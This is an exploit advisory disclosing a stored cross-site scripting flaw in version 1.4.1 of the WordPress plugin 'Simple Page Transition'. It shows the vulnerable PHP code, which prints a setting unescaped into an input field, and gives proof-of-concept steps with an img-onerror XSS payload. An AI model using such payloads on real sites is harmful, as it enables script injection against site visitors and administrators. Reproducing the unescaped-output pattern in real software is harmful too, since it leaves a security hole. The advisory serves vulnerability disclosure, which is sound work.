WordPress Simple Page Transition 1.4.1 Cross Site Scripting

# Exploit Title: WordPress Plugin ‘Simple Page Transition’ - Stored Cross
Site Scripting
# Date: 27-06-2022
# Exploit Author: Mariam Tariq - HunterSherlock
# Vendor Homepage: https://wordpress.org/plugins/simple-page-transition/
# Version: 1.4.1
# Tested on: Firefox
# Contact me: mariamtariq404@gmail.com

*#Vulnerable code*:

“`
<label for=”simple_page_transition_ignored”><?php _e( ‘Ignored Download
Links’, ‘spt’ ); ?></label><br />
<input type=”text” id=”simple_page_transition_ignored”
name=”simple_page_transition_ignored” value=”*<?php print
$simple_page_transition_ignored; ?>*” /><br />

“`
*#POC:*

1- Install the plugin ‘simple page transition’ & activate it.
2- Navigate towards the “ignored download links”
3- Enter the XSS payload ` *“><img src=x onerror=alert(1)>*`

*#POC image:*

https://imgur.com/yzaTkhi